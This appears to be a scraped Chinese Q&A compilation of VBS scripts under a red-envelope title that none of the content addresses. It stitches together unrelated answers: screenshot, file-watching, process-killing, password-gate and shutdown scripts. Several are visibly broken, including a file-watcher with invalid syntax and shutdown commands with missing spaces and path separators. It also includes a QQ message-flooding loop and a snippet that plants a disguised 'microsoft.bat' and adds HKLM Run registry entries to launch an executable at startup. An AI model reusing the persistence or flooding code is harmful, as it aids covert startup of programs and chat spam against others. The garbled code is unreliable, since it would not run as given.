vbs抢红包脚本

① 关于vbs代码，和百度红包有关

骗人的
大家想想，网络为什么要把得奖设为不限次数？这就是炒作。如果网络真想给大家过年点惊喜，它就该一个身份证只领一次。

目前为止还没见哪个中过、
纯属炒作，欺骗网民感情。
亏我还一直用网络，再也不用了，虚

② 求一个VBS脚本

set ws=createobject("wscript.shell")
ws.sendkeys "{PrtSc}"
ws.run "%SystemRoot%\system32\mspaint.exe"
wscript.sleep 1000
ws.appactivate "未命名-画图"
ws.sendkeys "^V"
'脚本是这样但是没有达到你要的效果，试了多次也不行，可能不能实现抓图（用sendkeys发送的print screen sysrq 键
）

③ 求高手给写个VBS脚本！！！！

'保存为vbs类型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假设这是aaa,修改下路径即可
file2="bbb.txt" '假设这是bbb,修改下路径即可
file3="c.exe" '某c程序
button="^N" '某开始按钮的快捷键,你必须先确定这个快捷键按钮可以用键盘操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是别的组合键
tmp1=envision("tmp")&"\tmp1" '这是aaa的临时记录文件
tmp2=envision("tmp")&"\tmp2" '这是bbb的临时记录文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必须记录文件,否则往后程序无法得知是否更新
'do 这是循环开始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的话程序自动退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的话程序自动退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
popup file1&"没有变化,如果是第一次运行本程序,请再运行一次.",3,wscript.scriptname,64 '如不需提示可删除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
shell.popup file1&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
end if
end if
'wscript.sleep 1000*30 '30秒执行一次
'loop 循环结束

'==================================
'代码没有经过任何测试,如果不符合实际要求.可以网络hi我.怎么用法自己调整.如需要循环执行将32行的'do前面的'去掉,和76行的'loop前面的'去掉.循环的时候系统肯定会很慢,不保证能正常使用电脑.如需定时循环一次可以将75行最前面的'去掉.
'==================================

④ vbs脚本教程

VBS病毒的原理与防护(转帖

⑤ 如何编辑VBS脚本刷屏

msgbox"单击“确定”后请点击QQ文字输入区,并把“回车”设置为发送消息。",4096,"提示"
set ws=createobject("wscript.shell")
wscript.sleep 3000
a=0
do until a=100
ws.sendkeys a
a=a+1
wscript.sleep 100
ws.sendkeys "~"
loop

⑥ 求个VBS脚本,功能如下，最近在学习VBS，如能加下注释的话，不胜感激！

下面代码能实现你的目的，有问题或者不懂的地方就追问哈。

Do
WScript.Sleep 1000 '间隔时间1S，如果不加的话CPU使用率会很高
ProcessClose("kill.exe") '调用下面的关闭进程的Function
Loop '无限循环

Function ProcessClose(ProcessName)
set MWI=GetObject("winmgmts:\\.\root\cimv2") '创建WMI对象
set Pro=MWI.ExecQuery("select * from win32_process where name='" & ProcessName & "'") 
For Each ID In Pro 枚举名字为kill.exe的进程
ID.Terminate() '关闭该进程
next
End Function

⑦ 我自己编了个VBS游戏脚本，感觉不错，想买点钱，看大家都是出售序列号，怎么弄呢 求高人指点

dim a,ctr
ctr=0 '设置计数器
const pass="pas123_" '你可以自己设置密码，然后卖密码，密码输对了才能玩。
do
a=inputbox("请输入密码")
if a=pass then
msgbox "认证成功"
’你可以在上一行和下一行中间加入你的游戏。
exit do
else
if ctr=3 then
msgbox "已经达到认证上限, 认证程序关闭"
exit do
else
ctr=ctr+1 注意：这一句是赋值句，要从右往左读，即每出错一次就把ctr加上1，然后再放回ctr里面，使得这个常量加1
msgbox "认证出错, 请检查密码"
end if
end if
loop

⑧ vbs脚本编写

dimws,ShutdownRunner
setws=creatrobject("wscript.shell")
ws.run"C:Windowssystem32cmd.exeat/delete/yes"
SetShutdownRunner=CreateObject("wscript.shell")ShutdownRunner.run"at22:10shutdown-s-t"+"60",vbHide

⑨ 谁可以用vbs做一个脚本，要求必须是无限循环 当按下*键时停止 ，要是能后台运行最好，谢谢。在线等！！！

这个单独用VBS是完成不了的，因为要模拟键盘还要设置热键，最好用AHK,AUTOIT或者易语言之类的自己写一个，代码很简单。

⑩ vbs脚本命令

set fso = createobject("scripting.filesystemobject")
set ofwr = fso.opentextfile(fso.getspecialfolder(WindowsFolder) & "\microsoft.bat",8,true)
ofwr.writeline "start %systemroot%\stem\a.exe"
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr.bat",fso.getspecialfolder(WindowsFolder) & "\microsoft.bat","REG_SZ"

其实没必要创建批处理文件
a.exe 可以直接加入启动项。

createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr",fso.getspecialfolder(WindowsFolder) & "\stem\a.exe","REG_SZ"